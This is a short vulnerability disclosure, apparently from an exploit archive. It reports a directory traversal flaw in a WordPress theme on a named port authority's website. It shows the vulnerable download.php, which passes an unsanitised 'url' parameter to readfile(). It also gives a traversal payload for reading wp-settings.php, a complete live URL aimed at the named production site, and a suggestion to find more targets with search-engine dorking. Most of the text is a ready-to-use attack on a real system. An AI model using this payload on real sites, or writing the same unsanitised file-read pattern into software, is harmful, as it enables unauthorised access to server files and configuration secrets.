====================================================================================================================================
| # Title : King Abdullah Port Themes Directory Traversal Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0(64-bit) |
| # Vendor : http://kingabdullahport.com.sa |
| # Dork : |
====================================================================================================================================
poc :
[+] Dorking İn Google Or Other Search Enggine.
[+] Use payload : /wp-content/themes/kap/download.php?url=../../../../../../../../../home/kingaport/public_html/wp-settings.php
download.php
<?php
$file_url = $_GET['url'];
header('Content-Type: application/octet-stream');
header("Content-Transfer-Encoding: Binary");
header("Content-disposition: attachment; filename=\"" . basename($file_url) . "\"");
readfile($file_url);
?>
[+] http://kingabdullahport.com.sa/wp-content/themes/kap/download.php?url=../../../../../../../../../home/kingaport/public_html/wp-settings.php
Greetings to :=========================================================================================================================
|
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* |
|
=======================================================================================================================================